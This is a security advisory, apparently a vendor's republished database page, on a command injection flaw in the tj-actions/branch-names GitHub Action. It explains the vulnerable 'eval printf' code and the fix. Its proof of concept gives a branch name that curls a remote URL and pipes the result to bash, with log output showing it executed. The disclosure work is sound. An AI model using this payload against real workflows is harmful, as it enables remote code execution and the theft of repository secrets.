GHSA-gq52-6phf-x2r6
CRITICALtj-actions/branch-names has a Command Injection Vulnerability
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
tj-actions/branch-namesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.
Description
Overview
A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.
Technical Details
The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"
This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.
Proof-of-Concept (PoC)
- Create a branch with the name
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash). - Trigger the vulnerable workflow by opening a pull request into the target repository.
- Observe arbitrary code execution in the workflow logs.
Example output:
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner
Impact
This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:
- Theft of sensitive secrets stored in the repository.
- Unauthorized write access to the repository.
- Compromise of the repository's integrity and security.
Mitigation and Resolution
To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"
This approach ensures that all outputs remain properly escaped and safe for downstream consumption.
Recommendations
- Immediate Action: Developers using the
tj-actions/branch-namesworkflow should update their workflows to latest major version v9.
References
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦GitHub Actions | tj-actions/branch-names | all versions | 9.0.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tj-actions/branch-names. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update tj-actions/branch-names to 9.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq52-6phf-x2r6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gq52-6phf-x2r6 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gq52-6phf-x2r6. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gq52-6phf-x2r6 in your dependencies?
O3 detects GHSA-gq52-6phf-x2r6 across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.